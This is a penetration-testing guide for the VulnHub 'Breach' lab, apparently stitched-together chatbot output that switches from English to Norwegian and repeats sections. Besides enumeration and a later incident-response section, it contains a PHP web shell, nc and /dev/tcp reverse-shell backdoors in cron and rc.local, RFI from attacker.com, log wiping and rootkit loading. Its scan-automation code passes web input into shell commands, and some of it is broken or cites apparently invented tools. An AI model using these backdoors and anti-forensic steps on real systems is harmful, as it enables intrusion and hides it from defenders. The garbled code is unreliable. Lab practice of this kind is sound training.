This guide covers the process of scanning and enumeration in a penetration test. It uses a vulnerable machine named Breach from VulnHub. Proper documentation is emphasized as a crucial part of the process.

• Use Text Files: Tools like Nano or Mousepad for taking notes.
• Use Cherrytree: For structured note-taking, screenshots, and annotations.
• Consistency: Keep files organized with clear names for easy reference.

1. Check IP Address:

   • Ensure your machine is in the same address space as Breach (192.168.110.0/24).
   • Run ip a to confirm your IP address.

2. Ping Sweep:

   • Create custom scripts for efficiency.
   • Example script for ping sweep: psweep.
   • Alternatively, use netdiscover or nmap for discovering IPs.

1. Basic Nmap Scan:

   nmap -sS -T4 -n -Pn -p- -oN nmap_all_ports.txt 192.168.110.140

   • -sS: SYN scan.
   • -T4: Faster scan.
   • -n: No DNS resolution.
   • -Pn: No ping.
   • -p-: All ports.
   • -oN: Output to file.

2. Detailed Nmap Scan:

   nmap -sC -A -T4 -n -Pn -p80,4444,8443 -oN nmap_deepscan.txt 192.168.110.140

   • -sC: Default scripts.
   • -A: OS and version detection.
   • -p: Specific ports.

1. Using GoBuster:

   gobuster dir -u http://192.168.110.140 -w /usr/share/wordlists/dirb/common.txt -o gobuster.txt

1. Using Nikto:

   nikto -h http://192.168.110.140 -o nikto.htm

• Open Ports:

  • Port 80 (HTTP)
  • Port 4444
  • Port 8443 (HTTPS alternative)

• Nmap Detailed Scan Results:

  • Apache 2.4.7 on Ubuntu
  • Possible firewall filtering.

• GoBuster Results:

  • Found directories: /images, /index.html

• Nikto Results:

  • Apache 2.4.7 (outdated)
  • Various HTTP methods allowed.
  • .gitignore file present.

• Further enumerate the web application.
• Investigate found directories and files.
• Continue documenting all findings and steps.

• VulnHub - Breach Machine
• Nmap Documentation
• GoBuster Documentation
• Nikto Documentation

---

This guide should help you in setting up, scanning, and enumerating the Breach machine. Ensure to document each step and finding for a thorough penetration test.

Once you have identified open ports and basic services, the next step is to enumerate the web application for potential vulnerabilities and hidden content.

1. Access the Web Application:

   • Open a browser and navigate to http://192.168.110.140.
   • Observe the main page and note any visible content, forms, or links.

2. Explore Found Directories:

   • Navigate to directories discovered by GoBuster (e.g., /images, /index.html).
   • Look for any interesting files or directories that might not be linked from the main page.

3. Manual Testing:

   • Test common vulnerabilities manually:
     • SQL Injection: Try inserting SQL meta-characters into form fields.
     • Cross-Site Scripting (XSS): Insert JavaScript payloads to check if they are executed.
     • Command Injection: Attempt to insert shell commands in form fields.

4. Automated Scanning:

   • Use tools like OWASP ZAP or Burp Suite to automate the discovery of vulnerabilities.

     zap-cli start
     zap-cli open-url http://192.168.110.140
     zap-cli active-scan -r
     zap-cli report -o zap_report.html

   • Review the report for vulnerabilities and prioritize them for further investigation.

With vulnerabilities identified, the next step is to exploit them to gain access to the system.

1. Exploiting SQL Injection:

   • If SQL injection is found, use SQLmap to automate exploitation:

     sqlmap -u "http://192.168.110.140/vulnerable_page.php?id=1" --dbs

   • Extract databases, tables, and data.

2. Exploiting XSS:

   • If XSS is found, create a payload to steal cookies or execute arbitrary code in the user's browser.

3. Gaining Shell Access:

   • Use discovered vulnerabilities to upload a web shell or execute commands.
   • Example using an uploaded PHP shell:

     <?php system($_GET['cmd']); ?>

   • Access the shell through the browser and run commands:

     http://192.168.110.140/uploads/shell.php?cmd=whoami

Once you have a foothold on the machine, escalate your privileges to gain root or administrative access.

1. Enumerate System Information:

   • Gather information about the system to find potential privilege escalation vectors:

     uname -a
     cat /etc/os-release

2. Check for SUID Binaries:

   • Identify binaries with the SUID bit set, which may allow privilege escalation:

     find / -perm -u=s -type f 2>/dev/null

3. Exploit Misconfigurations:

   • Search for writable files or misconfigurations that can be exploited:

     find / -writable -type f 2>/dev/null

4. Use Known Exploits:

   • Search for known exploits for the system and software versions found:

     searchsploit <software_version>

After gaining root or administrative access, collect further information and establish persistence.

1. Extract Sensitive Data:

   • Locate and exfiltrate sensitive data such as passwords, configurations, and personal information:

     cat /etc/passwd
     cat /etc/shadow

2. Network Enumeration:

   • Discover other machines and services on the network to plan further attacks:

     netstat -tuln
     arp -a

3. Establish Persistence:

   • Set up backdoors or scheduled tasks to maintain access:

     echo "nc -e /bin/bash 192.168.110.1 4444" > /etc/cron.hourly/backdoor

Document all findings, steps, and recommendations in a comprehensive report.

1. Executive Summary:

   • Provide an overview of the test, including scope, objectives, and high-level findings.

2. Detailed Findings:

   • Document each finding with:
     • Description
     • Risk level
     • Steps to reproduce
     • Screenshots or logs

3. Recommendations:

   • Offer actionable recommendations for remediation:
     • Patching and updates
     • Configuration changes
     • User training

4. Conclusion:

   • Summarize the overall security posture and any improvements noted during the test.

Ensure the target environment is returned to its original state and remove any artifacts left behind.

1. Remove Uploaded Files and Shells:

   • Delete any files or shells uploaded during the test:

     rm /path/to/uploaded/file

2. Revert Configuration Changes:

   • Undo any changes made to system configurations for testing purposes.

3. Log Out and Close Sessions:

   • Ensure all shells and sessions are closed properly:

     exit

By following these sections, you can thoroughly conduct a penetration test on the Breach machine, documenting every step and finding for a comprehensive security assessment.

Klart, la oss fortsette fra der vi slapp.

Etter å ha identifisert åpne porter og grunnleggende tjenester, er neste trinn å utforske webapplikasjonen for potensielle sårbarheter og skjult innhold.

1. Access the Web Application:

   • Åpne en nettleser og naviger til http://192.168.110.140.
   • Observer hovedsiden og noter synlig innhold, skjemaer, eller lenker.
   • Se etter synlige tegn på innholdshåndteringssystemer (CMS), rammeverk, eller biblioteker som brukes.

2. Explore Found Directories:

   • Naviger til katalogene som ble funnet med GoBuster (f.eks. /images, /index.html).
   • Bruk verktøy som Burp Suite for å fange opp og inspisere trafikken når du navigerer på siden.
   • Sjekk etter skjulte filer eller mapper ved å prøve vanlige admin-kataloger (/admin, /login, /backup).

3. Manual Testing:

   • Test vanlige sårbarheter manuelt:
     • SQL Injection: Prøv å sette inn SQL-metategn i skjemafelt og URL-parametere.
     • Cross-Site Scripting (XSS): Sett inn JavaScript-payloads i inndatafelter og URL-parametere for å sjekke om de blir utført.
     • Command Injection: Forsøk å sette inn skallkommandoer i skjemafelt og URL-parametere.
     • File Inclusion: Prøv å inkludere lokale filer ved å manipulere parametere (f.eks. ../../etc/passwd).

4. Automated Scanning:

   • Bruk verktøy som OWASP ZAP eller Burp Suite for å automatisere oppdagelsen av sårbarheter.

     zap-cli start
     zap-cli open-url http://192.168.110.140
     zap-cli active-scan -r
     zap-cli report -o zap_report.html

   • Analyser rapporten for sårbarheter og prioriter dem for videre undersøkelse.

Etter å ha identifisert sårbarheter, er neste trinn å utnytte dem for å få tilgang til systemet.

1. Exploiting SQL Injection:

   • Hvis SQL-injeksjon blir funnet, bruk SQLmap til å automatisere utnyttelsen:

     sqlmap -u "http://192.168.110.140/vulnerable_page.php?id=1" --dbs

   • Ekstraher databaser, tabeller og data.
   • Utfør post-utnyttelse handlinger som å dumpe passordhashes og brute-force dem offline.

2. Exploiting XSS:

   • Hvis XSS blir funnet, skap en payload for å stjele cookies eller utføre vilkårlig kode i brukerens nettleser.
   • Sett opp en lytter (listener) for å fange opp stjålne data.
   • Analyser potensialet for session hijacking eller eskalering av privilegier.

3. Gaining Shell Access:

   • Bruk oppdagede sårbarheter til å laste opp en web shell eller utføre kommandoer.
   • Eksempel ved bruk av en lastet opp PHP-shell:

     <?php system($_GET['cmd']); ?>

   • Få tilgang til shellen via nettleseren og kjør kommandoer:

     http://192.168.110.140/uploads/shell.php?cmd=whoami

Etter å ha fått fotfeste på maskinen, eskaler dine privilegier for å få root- eller administratortilgang.

1. Enumerate System Information:

   • Samle informasjon om systemet for å finne potensielle vektorer for privilegieeskalering:

     uname -a
     cat /etc/os-release

2. Check for SUID Binaries:

   • Identifiser binærfiler med SUID-bit satt, som kan tillate privilegieeskalering:

     find / -perm -u=s -type f 2>/dev/null

3. Exploit Misconfigurations:

   • Søk etter skrivbare filer eller feilkonfigurasjoner som kan utnyttes:

     find / -writable -type f 2>/dev/null

4. Use Known Exploits:

   • Søk etter kjente exploits for system- og programvareversjoner som er funnet:

     searchsploit <software_version>

   • Bruk online databaser som Exploit Database eller Rapid7 Metasploit for oppdatert informasjon om sårbarheter.

Etter å ha fått root- eller administratortilgang, samler du ytterligere informasjon og etablerer persistens.

1. Extract Sensitive Data:

   • Lokaliser og eksfiltrer sensitive data som passord, konfigurasjoner, og personlig informasjon:

     cat /etc/passwd
     cat /etc/shadow

2. Network Enumeration:

   • Oppdag andre maskiner og tjenester på nettverket for å planlegge videre angrep:

     netstat -tuln
     arp -a

3. Establish Persistence:

   • Sett opp backdoors eller planlagte oppgaver for å opprettholde tilgang:

     echo "nc -e /bin/bash 192.168.110.1 4444" > /etc/cron.hourly/backdoor

   • Bruk verktøy som Metasploit's persistence module for å automatisere denne prosessen.

La oss gå videre til neste seksjon hvor vi dykker dypere inn i verktøy og teknikker for å oppdage og utnytte spesifikke sårbarheter i webapplikasjoner. Vi vil se på bruk av spesialiserte verktøy og avanserte manuelle teknikker for å maksimere utnyttelsen.

Når de grunnleggende sårbarhetene er identifisert og utnyttet, er det viktig å utforske mer avanserte teknikker for å avdekke og utnytte mindre åpenbare sårbarheter. Denne delen dekker spesialiserte verktøy og avanserte manuelle teknikker for webapplikasjonstesting.

SQL-injeksjoner kan være mer komplekse enn enkle angrep. Utforsk avanserte teknikker for å omgå filtre og brannmurer.

1. Blind SQL Injection:

   • Bruk tidsbaserte teknikker for å eksfiltrere data når ingen direkte utdata er tilgjengelig.

     sqlmap -u "http://192.168.110.140/vulnerable_page.php?id=1" --time-sec=5 --dbs

   • Utfør inferensbaserte angrep ved å bruke betingelser som endrer sideinnhold eller responstid basert på resultatene av SQL-spørringer.

2. Second-Order SQL Injection:

   • Identifiser steder hvor input lagres i databasen og deretter brukes i en annen SQL-spørring.
   • Injiser SQL-payloads i en første forespørsel og observer effekten i en sekundær forespørsel eller applikasjonens backend-prosesser.

Forbedre XSS-angrep ved å bruke sofistikerte payloads og teknikker for å omgå vanlige forsvar.

1. DOM-Based XSS:

   • Analyser JavaScript-koden for å finne sårbar inputbehandling på klientsiden.
   • Injiser payloads som manipulerer DOM (Document Object Model) direkte.

     <script>document.write('<img src=x onerror=alert(1)>');</script>

2. Stored XSS:

   • Finn steder hvor ondsinnet kode kan lagres på serveren og utføres når dataene hentes av andre brukere.
   • Utforsk metoder for å injisere vedvarende skript som stjeler cookies eller utfører handlinger på vegne av offeret.

Utnytt muligheten til å inkludere eksterne eller lokale filer gjennom webapplikasjonen.

1. Remote File Inclusion (RFI):

   • Inkluder eksterne skript ved å manipulere filparametere i URL-er.

     http://192.168.110.140/vulnerable_page.php?file=http://attacker.com/shell.txt

2. Local File Inclusion (LFI):

   • Utforsk muligheten for å inkludere lokale filer ved hjelp av relativ filbane-manipulering.

     http://192.168.110.140/vulnerable_page.php?file=../../../../etc/passwd

Utnytt sårbarheter hvor brukerinput settes direkte inn i kommandolinjeinstruksjoner.

1. Basic Command Injection:

   • Prøv å injisere kommandoer direkte i skjemafelt eller URL-parametere.

     http://192.168.110.140/vulnerable_page.php?cmd=ls

2. Advanced Techniques:

   • Bruk sekvensoperatører for å kjede sammen kommandoer og omgå enkle filtre.

     http://192.168.110.140/vulnerable_page.php?cmd=ls;cat /etc/passwd

Dypere utforskning av webserver- og applikasjonskonfigurasjoner kan avdekke skjulte sårbarheter.

1. Misconfigured Directories:

   • Sjekk for katalogindeksering hvor sensitive filer kan være synlige og tilgjengelige.
   • Finn .git, .svn eller andre versjonskontrollmapper som kan inneholde konfigurasjonsfiler og kodehistorikk.

2. Exposed Configuration Files:

   • Let etter konfigurasjonsfiler som kan være tilgjengelige via webserveren og inneholde følsomme opplysninger.

     http://192.168.110.140/.env

3. Default Credentials and Misconfigurations:

   • Prøv standard brukernavn og passord for populære applikasjoner og administrasjonsgrensesnitt.
   • Utnytt dårlige konfigurasjoner, som eksternt tilgjengelige administrasjonsverktøy eller ukonfigurerte sikkerhetsinnstillinger.

Neste seksjon vil dekke teknikker for å sikre persistens og skjule spor etter utnyttelse. Dette inkluderer bruk av rootkits, manipulering av loggfiler, og metoder for å skjule tilstedeværelsen i et kompromittert system.

Etter å ha oppnådd tilgang til systemet og eskalert privilegiene, er det viktig å sikre at tilgangen opprettholdes og at aktivitetene dine ikke blir oppdaget. Denne delen dekker teknikker for å etablere persistens og skjule sporene etter utnyttelse.

For å sikre langvarig tilgang til det kompromitterte systemet, kan du sette opp ulike metoder som lar deg komme tilbake etter omstart eller etter at angrepsvektorene er adressert.

1. Creating Backdoors:

   • Installer en reversert skall som lar deg koble til systemet når du ønsker.

     nc -e /bin/bash 192.168.110.1 4444 &

   • Bruk persistensmoduler i verktøy som Metasploit for å automatisere prosessen.

     use exploit/multi/handler
     set payload linux/x64/meterpreter/reverse_tcp
     set LHOST 192.168.110.1
     set LPORT 4444
     exploit
     meterpreter > run persistence -U -i 5 -r 192.168.110.1 -p 4444
     

2. Scheduled Tasks and Cron Jobs:

   • Opprett planlagte oppgaver som kjører backdoor-skript periodisk.

     echo "*/5 * * * * /bin/bash -c 'nc -e /bin/bash 192.168.110.1 4444'" > /etc/cron.d/backdoor

3. Manipulating Initialization Scripts:

   • Endre oppstarts- eller init-skript for å inkludere en bakdør.

     echo "/bin/bash -i >& /dev/tcp/192.168.110.1/4444 0>&1" >> /etc/rc.local

For å unngå deteksjon, må du skjule dine aktiviteter og fjerne bevis for din tilstedeværelse.

1. Clearing Logs:

   • Slett eller endre loggfiler som kan inneholde spor etter dine aktiviteter.

     echo > /var/log/auth.log
     echo > /var/log/syslog

   • Bruk verktøy som logcleare for å automatisk fjerne spesifikke loggposter.

     logcleare -r -p "nc -e /bin/bash"

2. Hiding Processes:

   • Bruk rootkits som Hacker Defender eller Adore for å skjule prosesser og filer.
   • Installer verktøy som LD_PRELOAD-baserte rootkits for å skjule aktiviteter fra systemverktøy.

     export LD_PRELOAD=/path/to/rootkit.so

3. Modifying Timestamps:

   • Endre fil- og katalogtidsstempler for å skjule endringsaktivitet.

     touch -t 202007040000 /path/to/modified/file

Rootkits gir en dypere nivå av skjuling og kontroll over et kompromittert system.

1. Kernel-Level Rootkits:

   • Installere rootkits som opererer på kjernenivå for å fange opp og manipulere systemanrop.

     insmod /path/to/rootkit.ko

2. User-Level Rootkits:

   • Bruk user-space rootkits for å skjule prosesser og filer fra brukernivå applikasjoner.
   • Endre binære filer som ps, ls, og netstat for å skjule spesifikke prosesser og nettverkstilkoblinger.

3. Advanced Techniques:

   • Bruk Direct Kernel Object Manipulation (DKOM) for å endre kjernestrukturer direkte og skjule prosesser eller moduler.
   • Implementer Inline Hooking for å endre systemanrop på flytenivå uten å endre kjernen.

Å opprette persistens og dekke spor er kritisk for å opprettholde tilgang og unngå deteksjon etter et vellykket angrep. Ved å bruke avanserte teknikker og verktøy, kan du sikre at din tilstedeværelse på systemet forblir uoppdaget i lengre perioder.

I neste seksjon skal vi utforske metodene for å analysere og etterforske et kompromittert system fra et forsvars- og hendelseshåndteringsperspektiv. Vi vil dekke teknikker for å oppdage og motvirke angrep, samt hvordan du kan forbedre sikkerhetsovervåkning og hendelsesrespons.

Når et system er kompromittert, er det viktig å gjennomføre en grundig analyse og respons for å begrense skaden og forhindre fremtidige angrep. Denne delen dekker teknikker for å oppdage og motvirke angrep, samt hvordan du kan forbedre sikkerhetsovervåkning og hendelsesrespons.

Når et kompromittert system oppdages, er de første trinnene kritiske for å kontrollere situasjonen og begynne undersøkelsen.

1. Containment:

   • Isoler det kompromitterte systemet fra nettverket for å forhindre videre spredning av angrepet.

     ifconfig eth0 down

   • Vurder bruk av nettverkssegmentering og VLAN for å begrense spredningen av skadelig aktivitet.

2. Preservation of Evidence:

   • Unngå å gjøre endringer på systemet som kan ødelegge bevis.
   • Ta en minne-dump og diskavbildning for analyse.

     dd if=/dev/sda of=/path/to/disk_image.img

   • Bruk verktøy som FTK Imager eller Volatility for å samle inn og analysere minne.

3. Documentation:

   • Dokumenter alle handlinger som tas, inkludert tidsstempler og hvem som utførte dem.
   • Opprett en hendelseslogg for å sikre at all informasjon om hendelsen er registrert.

Gjennomfør en grundig analyse av de innsamlede bevisene for å forstå angrepet og finne ut hvordan systemet ble kompromittert.

1. Disk Analysis:

   • Analyser diskavbildningen for å identifisere skadelig programvare, endringer i systemfiler og andre tegn på kompromittering.
   • Bruk verktøy som Autopsy eller Sleuth Kit for filsystemanalyse.

2. Memory Analysis:

   • Undersøk minne-dumpen for å identifisere aktive prosesser, nettverksforbindelser og skadelig kode i minnet.
   • Bruk Volatility til å kjøre forskjellige plugins for minneanalyse.

     volatility -f /path/to/memory_dump.img imageinfo
     volatility -f /path/to/memory_dump.img pslist

3. Log Analysis:

   • Gå gjennom systemlogger for å identifisere uvanlig aktivitet, påloggingsforsøk og endringer i systemkonfigurasjon.
   • Bruk skript og verktøy for å automatisere logganalyse og oppdage mistenkelige mønstre.

     grep "Failed password" /var/log/auth.log

Analyser nettverkstrafikk for å identifisere kommunikasjon med skadelig aktører og dataeksfiltrering.

1. Packet Capture:

   • Samle inn nettverkspakker fra det kompromitterte systemet for analyse.

     tcpdump -i eth0 -w /path/to/packet_capture.pcap

2. Traffic Analysis:

   • Analyser nettverkstrafikken for å identifisere kommunikasjon med eksterne IP-adresser og uvanlig trafikk.
   • Bruk verktøy som Wireshark eller Tshark for dypere analyse.

     wireshark /path/to/packet_capture.pcap

3. Indicators of Compromise (IoCs):

   • Identifiser og dokumenter IoCs som brukes av angripere, som IP-adresser, domenenavn, og filhashes.
   • Del IoCs med andre team og bransjeorganisasjoner for å forbedre kollektiv respons og forebygging.

Etter å ha forstått omfanget og naturen av angrepet, implementer tiltak for å gjenopprette systemet og forhindre fremtidige angrep.

1. System Restoration:

   • Gjenopprett systemet fra en ren backup om nødvendig.
   • Kontroller at alle bakdører og skadelig kode er fjernet før systemet settes tilbake i produksjon.

2. Patch Management:

   • Oppdater alle programvare- og systemkomponenter for å tette sikkerhetshull som ble utnyttet.
   • Implementer en robust patch management prosess for å sikre at alle systemer forblir oppdaterte.

3. Security Enhancements:

   • Forbedre systemets sikkerhet ved å implementere beste praksis for sikkerhetskonfigurasjon.
   • Aktiver flerfaktorautentisering (MFA) og styrk passordpolicyer.

4. Monitoring and Detection:

   • Sett opp kontinuerlig overvåking av systemer og nettverk for å oppdage fremtidige angrep tidlig.
   • Bruk verktøy som SIEM (Security Information and Event Management) for å korrelere logger og oppdage mistenkelig aktivitet.

Etter hendelsen er det viktig å dokumentere funnene og trekke lærdommer for å forbedre fremtidig respons.

1. Incident Report:

   • Utarbeid en detaljert rapport som dekker alle aspekter av hendelsen, inkludert tidslinje, angrepsvektorer, og responsaktiviteter.
   • Inkluder tekniske detaljer og anbefalinger for å forhindre lignende hendelser i fremtiden.

2. Post-Incident Review:

   • Hold et møte for å diskutere hendelsen og vurdere responsen.
   • Identifiser hva som fungerte bra og hva som kan forbedres.

3. Implement Lessons Learned:

   • Oppdater sikkerhetspolicyer og prosesser basert på erfaringene fra hendelsen.
   • Tren opp ansatte og sikkerhetsteamet på de nye prosedyrene og forbedrede sikkerhetstiltakene.

I neste seksjon skal vi utforske hvordan du kan bruke trusselinformasjon og etterretning til å forutse og forhindre fremtidige angrep. Dette inkluderer bruk av data fra tidligere hendelser, deling av informasjon med bransjeorganisasjoner, og implementering av proaktive sikkerhetstiltak.

For å effektivisere prosessen med skanning, eksploitering og dokumentasjon, kan vi bruke automatiseringsverktøy og skript for å sikre at alle trinn blir utført konsekvent og effektivt. Her er en tilnærming til å automatisere hele prosessen ved å bruke verktøy som Python, Bash, og kjente sikkerhetsverktøy.

Vi kan bruke et Python-skript som orkestrerer skanning, exploit, og rapportgenerering.

1. Oppsett av Miljø

   • Installer nødvendige verktøy og biblioteker:

     sudo apt-get update
     sudo apt-get install nmap gobuster nikto python3 python3-pip
     pip3 install cherrypy

2. Python-Skript for Automatisering Lag et Python-skript som utfører skanning og exploit, og genererer dokumentasjon automatisk.

   import subprocess
   import os
   import datetime
   import cherrypy
   
   def run_command(command):
       process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
       stdout, stderr = process.communicate()
       return stdout.decode(), stderr.decode()
   
   def perform_scan(target_ip):
       timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
       report_dir = f"reports/{target_ip}_{timestamp}"
       os.makedirs(report_dir, exist_ok=True)
   
       # Nmap scan
       nmap_command = f"nmap -sS -T4 -n -Pn -p- -oN {report_dir}/nmap_all_ports.txt {target_ip}"
       nmap_output, nmap_error = run_command(nmap_command)
   
       # Detailed Nmap scan
       nmap_detail_command = f"nmap -sC -A -T4 -n -Pn -p80,4444,8443 -oN {report_dir}/nmap_deepscan.txt {target_ip}"
       nmap_detail_output, nmap_detail_error = run_command(nmap_detail_command)
   
       # Gobuster scan
       gobuster_command = f"gobuster dir -u http://{target_ip} -w /usr/share/wordlists/dirb/common.txt -o {report_dir}/gobuster.txt"
       gobuster_output, gobuster_error = run_command(gobuster_command)
   
       # Nikto scan
       nikto_command = f"nikto -h http://{target_ip} -o {report_dir}/nikto.htm"
       nikto_output, nikto_error = run_command(nikto_command)
   
       return report_dir
   
   def generate_documentation(report_dir, target_ip):
       with open(f"{report_dir}/report.txt", 'w') as report:
           report.write(f"Automated Scan Report for {target_ip}\n")
           report.write(f"Scan conducted on: {datetime.datetime.now()}\n\n")
   
           report.write("Nmap All Ports Scan:\n")
           with open(f"{report_dir}/nmap_all_ports.txt", 'r') as nmap_all:
               report.write(nmap_all.read())
           
           report.write("\n\nNmap Detailed Scan:\n")
           with open(f"{report_dir}/nmap_deepscan.txt", 'r') as nmap_detail:
               report.write(nmap_detail.read())
           
           report.write("\n\nGobuster Scan:\n")
           with open(f"{report_dir}/gobuster.txt", 'r') as gobuster:
               report.write(gobuster.read())
           
           report.write("\n\nNikto Scan:\n")
           with open(f"{report_dir}/nikto.htm", 'r') as nikto:
               report.write(nikto.read())
   
   class WebServer:
       @cherrypy.expose
       def index(self):
           return """<html>
                       <head><title>Automated Scan</title></head>
                       <body>
                           <h2>Enter Target IP for Automated Scan</h2>
                           <form method="post" action="scan">
                               <input type="text" name="target_ip" />
                               <button type="submit">Start Scan</button>
                           </form>
                       </body>
                   </html>"""
   
       @cherrypy.expose
       def scan(self, target_ip):
           report_dir = perform_scan(target_ip)
           generate_documentation(report_dir, target_ip)
           return f"Scan completed. Report saved in {report_dir}/report.txt"
   
   if __name__ == "__main__":
       cherrypy.quickstart(WebServer())

3. Kjøring av Skriptet

   • Kjør skriptet for å starte webserveren:

     python3 automate_scan.py

   • Åpne en nettleser og gå til http://localhost:8080 for å starte en skanning.

4. Lagring og Tagging av Dokumentasjon

   • Rapporter lagres automatisk med tidsstempel og IP-adresse for enkel referanse og gjenbruk.
   • Filene kan enkelt bli lastet opp til en dokumentasjonsplattform eller versjonskontrollsystem for deling og samarbeid.

Denne automatiseringen gir en enkel måte å utføre skanning og generere dokumentasjon på. For videre utvidelse kan vi inkludere:

1. Integrasjon med CI/CD Pipelines:

   • Integrere skanningene i kontinuerlige integrasjons- og distribusjonspipelines for regelmessig sikkerhetstesting.

2. Utvidelse med Flere Verktøy:

   • Inkluder flere verktøy som Burp Suite, SQLmap, og andre for en mer omfattende sikkerhetsskanning.

3. Rapportering og Varsling:

   • Send automatiserte rapporter og varsler til sikkerhetsteamet for rask respons og tiltak.

4. Forbedret Brukergrensesnitt:

   • Utvikle et mer avansert webgrensesnitt for å administrere og gjennomgå skanningene og resultatene.

Med disse tilleggene kan vi sikre en robust og skalerbar automatiseringsløsning for sikkerhetsskanning og dokumentasjon.

Vi skal utvide skriptet og implementere integrasjon med CI/CD pipelines, flere verktøy, automatisert rapportering og varsling, og forbedret brukergrensesnitt.

Ved å integrere skanningene i CI/CD pipelines, kan vi sikre regelmessig sikkerhetstesting.

1. CI/CD Pipeline Skript

   • Lag en Jenkinsfile eller GitHub Actions workflow for å integrere automatiserte skanninger.

   Jenkinsfile:

   pipeline {
       agent any
   
       stages {
           stage('Checkout') {
               steps {
                   checkout scm
               }
           }
   
           stage('Install Dependencies') {
               steps {
                   sh 'sudo apt-get update'
                   sh 'sudo apt-get install -y nmap gobuster nikto python3 python3-pip'
                   sh 'pip3 install cherrypy'
               }
           }
   
           stage('Run Scan') {
               steps {
                   sh 'python3 automate_scan.py'
               }
           }
       }
   }

   GitHub Actions Workflow (.github/workflows/scan.yml):

   name: Security Scan
   
   on: [push]
   
   jobs:
     build:
       runs-on: ubuntu-latest
   
       steps:
       - name: Checkout code
         uses: actions/checkout@v2
   
       - name: Install dependencies
         run: |
           sudo apt-get update
           sudo apt-get install -y nmap gobuster nikto python3 python3-pip
           pip3 install cherrypy
   
       - name: Run scan
         run: python3 automate_scan.py

Vi utvider skriptet til å inkludere flere verktøy som Burp Suite og SQLmap.

2. Oppdatert Python-Skript Legg til bruk av Burp Suite og SQLmap for mer omfattende skanning.

   import subprocess
   import os
   import datetime
   import cherrypy
   
   def run_command(command):
       process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
       stdout, stderr = process.communicate()
       return stdout.decode(), stderr.decode()
   
   def perform_scan(target_ip):
       timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
       report_dir = f"reports/{target_ip}_{timestamp}"
       os.makedirs(report_dir, exist_ok=True)
   
       # Nmap scan
       nmap_command = f"nmap -sS -T4 -n -Pn -p- -oN {report_dir}/nmap_all_ports.txt {target_ip}"
       nmap_output, nmap_error = run_command(nmap_command)
   
       # Detailed Nmap scan
       nmap_detail_command = f"nmap -sC -A -T4 -n -Pn -p80,4444,8443 -oN {report_dir}/nmap_deepscan.txt {target_ip}"
       nmap_detail_output, nmap_detail_error = run_command(nmap_detail_command)
   
       # Gobuster scan
       gobuster_command = f"gobuster dir -u http://{target_ip} -w /usr/share/wordlists/dirb/common.txt -o {report_dir}/gobuster.txt"
       gobuster_output, gobuster_error = run_command(gobuster_command)
   
       # Nikto scan
       nikto_command = f"nikto -h http://{target_ip} -o {report_dir}/nikto.htm"
       nikto_output, nikto_error = run_command(nikto_command)
   
       # Burp Suite scan (assuming Burp Suite CLI is installed and configured)
       burp_command = f"burpsuite -c burp_config.json -t {target_ip} -o {report_dir}/burpsuite_report.html"
       burp_output, burp_error = run_command(burp_command)
   
       # SQLmap scan for SQL injection
       sqlmap_command = f"sqlmap -u 'http://{target_ip}/vulnerable_page.php?id=1' --batch --output-dir={report_dir}"
       sqlmap_output, sqlmap_error = run_command(sqlmap_command)
   
       return report_dir
   
   def generate_documentation(report_dir, target_ip):
       with open(f"{report_dir}/report.txt", 'w') as report:
           report.write(f"Automated Scan Report for {target_ip}\n")
           report.write(f"Scan conducted on: {datetime.datetime.now()}\n\n")
   
           report.write("Nmap All Ports Scan:\n")
           with open(f"{report_dir}/nmap_all_ports.txt", 'r') as nmap_all:
               report.write(nmap_all.read())
           
           report.write("\n\nNmap Detailed Scan:\n")
           with open(f"{report_dir}/nmap_deepscan.txt", 'r') as nmap_detail:
               report.write(nmap_detail.read())
           
           report.write("\n\nGobuster Scan:\n")
           with open(f"{report_dir}/gobuster.txt", 'r') as gobuster:
               report.write(gobuster.read())
           
           report.write("\n\nNikto Scan:\n")
           with open(f"{report_dir}/nikto.htm", 'r') as nikto:
               report.write(nikto.read())
           
           report.write("\n\nBurp Suite Scan:\n")
           with open(f"{report_dir}/burpsuite_report.html", 'r') as burp:
               report.write(burp.read())
           
           report.write("\n\nSQLmap Scan:\n")
           with open(f"{report_dir}/sqlmap/log', 'r') as sqlmap:
               report.write(sqlmap.read())
   
   class WebServer:
       @cherrypy.expose
       def index(self):
           return """<html>
                       <head><title>Automated Scan</title></head>
                       <body>
                           <h2>Enter Target IP for Automated Scan</h2>
                           <form method="post" action="scan">
                               <input type="text" name="target_ip" />
                               <button type="submit">Start Scan</button>
                           </form>
                       </body>
                   </html>"""
   
       @cherrypy.expose
       def scan(self, target_ip):
           report_dir = perform_scan(target_ip)
           generate_documentation(report_dir, target_ip)
           return f"Scan completed. Report saved in {report_dir}/report.txt"
   
   if __name__ == "__main__":
       cherrypy.quickstart(WebServer())

3. Automatisert Rapportering og Varsling Vi kan bruke e-post eller webhook for å sende varsler når en skanning er fullført.

   E-postvarsling:

   import smtplib
   from email.mime.text import MIMEText
   
   def send_email_notification(report_dir, target_ip):
       msg = MIMEText(f"Scan completed. Report saved in {report_dir}/report.txt")
       msg['Subject'] = f"Scan Report for {target_ip}"
       msg['From'] = '[email protected]'
       msg['To'] = '[email protected]'
   
       with smtplib.SMTP('smtp.example.com') as server:
           server.login('[email protected]', 'your_password')
           server.sendmail('[email protected]', ['[email protected]'], msg.as_string())

   Webhook Notification:

   import requests
   
   def send_webhook_notification(report_dir, target_ip):
       webhook_url = 'https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX'
       message = {
           "text": f"Scan completed. Report saved in {report_dir}/report.txt for {target_ip}"
       }
       requests.post(webhook_url, json=message)

4. Forbedret Brukergrensesnitt Utvikle et mer avansert webgrensesnitt med Flask for å administrere og gjennomgå skanningene og resultatene.

   Flask Application:

   from flask import Flask, request, render_template
   import subprocess
   import os
   import datetime
   
   app = Flask(__name__)
   
   def run_command(command):
       process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
       stdout, stderr = process.communicate()
       return stdout.decode(), stderr.decode()
   
   def perform_scan(target_ip):
       timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
       report_dir = f"reports/{target_ip}_{timestamp}"
       os.makedirs(report_dir, exist_ok=True)
   
       # Skanninger som før
       # ...
   
       return report_dir
   
   def generate_documentation(report_dir, target_ip):
       # Generer dokumentasjon som før
       # ...
   
   @app.route('/')
   def index():
       return render_template('index.html')
   
